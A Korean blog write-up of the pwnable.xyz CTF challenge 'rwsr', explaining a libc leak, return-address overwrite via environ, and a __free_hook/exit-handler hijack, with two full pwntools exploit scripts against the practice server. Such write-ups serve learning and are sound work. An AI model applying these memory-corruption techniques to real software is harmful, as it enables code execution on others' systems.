상세 컨텐츠

본문 제목

[Pwnable.xyz] rwsr

SYSTEM HACKING/pwnable.xyz

by koharin 2020. 3. 25. 19:35

본문

728x90
반응형

# checksec / file

 


# process

 

FULL RELRO 보호기법이 걸려있어서 GOT overwrite은 하지 못하지만 두 가지 솔루션이 있다.

 

1. return address -> win (local, remote로 성공)

 

BOF는 일어나지 않지만 2번 메뉴에서 입력한 주소에 값을 적을 수 있다.

return address 주소를 알아낼 수 있으면 1번 메뉴에서 return address 입력하고, 2번 메뉴에서 win 함수 주소를 값으로 적는다.

 

1) libc leak -> environ ptr 구한다.

 

2) environ 주소 구한다.

- 1번 메뉴 : environ

- 3번 메뉴 : environ 값 출력

 

3) environ 주소를 이용해서 main의 SFP를 구하고, SFP + 8이 return address이므로 이것으로 return address를 구한다.

 

4) return address -> win

- 1번 메뉴 : return address

- 2번 메뉴 : win

 

5) 0번 메뉴 선택해서 반복문 끝낸다.

- return 시 win 함수로 뛸 수 있다.

 

 

environ과의 offset은 처음 main+4 쯤에서 register를 출력해서 rbp 값과 environ 값과의 offset을 구하면 된다.

 

 

2. exit 함수 사용 (local만 성공함)

 

exit함수는 exit.h에서 정의된 __run_exit_handlers를 호출한다.

Exit_function_list 구조체는 linked_list로 구성되어있다.

Exit에 있는 free를 이용해 익스한다.

Listp의 처음은 __exit_funcs이고,

__exit_funcs의 포인터 값인 initial를 참조해서 while문을 시작하는데, initial을 조작한다.

free하기 위해서는 while(cur->idx > 0)을 우회해야 하는데 cur(initial) -> next 있는 위치에 아무거나 써주면 된다.

그럼 free 함수가 호출된다.

 

★ exit함수를 사용하는 방법

 

Process #1

1) __free_hooksystem으로 덮는다.

2) cur(initial)->idx0으로 덮는다. (cur->idx > 0) 우회위해)

3) cur(initial)->next“/bin/sh”로 덮는다.

왜냐면 __free_hook의 인자가 cur(initial)->next이기 때문!!

 

Porcess #2

1) __free_hook을 one_gadget으로 덮는다.

2) initial은 0이 아닌 아무 값을 준다.

- cur(initial)->next에 어느값이든 있으면 free(cur->next) 할 수 있다.

3) cur(initial)->idx 0으로 덮는다. (cur->idx > 0) 우회위해) == initial+8은 0 값을 준다.

 

#2 방법을 사용했다.

 

#1 libc leak -> __free_hook 주소 구한다.

 

 

#2 1번에서 준 intial과 initial+8 값을 2번 메뉴에서 각각 3(아무값)과 0(무조건)으로 준다.

 

 

initial+8의 값이 1로 되어있어서 free를 실행시키는 조건을 만족시키지 못한다.

따라서 initial + 8 값을 0으로 바꾸고 initial은 아무 값이나 준다.

 

#3 1번 : __free_hook, 2번 : one_gadget


# exploit code & exploit

 

 

solution #1

 

#!/usr/bin/python 
from pwn import *

p = remote("svc.pwnable.xyz", 30019)
libc = ELF("./alpine-libc-2.28.so")
#p = process("./challenge")
elf = ELF("./challenge")
#libc = elf.libc

p.sendafter("> ", '1')
p.sendafter("Addr: ", str(elf.got['setvbuf']))
setvbuf = u64(p.recvuntil("\x7f") + "\x00\x00")
libcBase = setvbuf - libc.symbols['setvbuf']
environ_ptr = libcBase + libc.symbols['environ']

p.sendafter("> ", '1')
p.sendafter("Addr: ", str(environ_ptr))
#gdb.attach(p)
environ = u64(p.recvuntil("\x7f") + "\x00\x00")
rbp = environ - 248
ret = rbp + 8

p.sendafter("> ", '2')
p.sendafter("Addr: ", str(ret))
p.sendafter("Value: ", str(elf.symbols['win']))

p.sendafter("> ", '0')

p.interactive()

 

 

solution #2

 

#!/usr/bin/python 
from pwn import *

#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30019)
libc = ELF("./alpine-libc-2.28.so")
elf = ELF("./challenge")
win = elf.symbols['win']
#libc = elf.libc

# libc leak
p.sendafter("> ", '1')
#gdb.attach(p)
p.sendafter("Addr: ", str(elf.got['setvbuf']))
setvbuf = u64(p.recvuntil("\x7f") + "\x00\x00")

libcBase = setvbuf - libc.symbols['setvbuf']
free_hook = libcBase + 0x3c67a8
#one_gadget = libcBase + 0x4526a
one_gadget = libcBase + 0x4271e
initial = libcBase + 0x3c5c40
#system = libcBase + libc.symbols['system']
log.info("libcBase : "+hex(libcBase))

# __free_hook -> one_gadget
p.sendafter("> ", '2')
p.sendafter("Addr: ", str(free_hook))
p.sendafter("Value: ", str(one_gadget))
#p.sendafter("Value: ", str(system))

# initial => 
p.sendafter("> ", '2')
p.sendafter("Addr: ", str(initial))
p.sendafter("Value: ", str(0x00003))
#p.sendafter("Value: ", "/bin/sh\x00")

# initial +8 => 0
p.sendafter("> ", '2')
p.sendafter("Addr: ", str(initial+8))
p.sendafter("Value: ", str(0))

p.sendafter("> ", '0')

p.interactive()


 

728x90
반응형

'SYSTEM HACKING > pwnable.xyz' 카테고리의 다른 글

[Pwnable.xyz] executioner v2  (0) 2020.04.20
[Pwnable.xyz] iape  (0) 2020.03.25
[pwnable.xyz] catalog  (0) 2020.03.09
[pwnable.xyz] message  (0) 2020.02.28
[pwnable.xyz] badayum  (0) 2020.02.28

관련글 더보기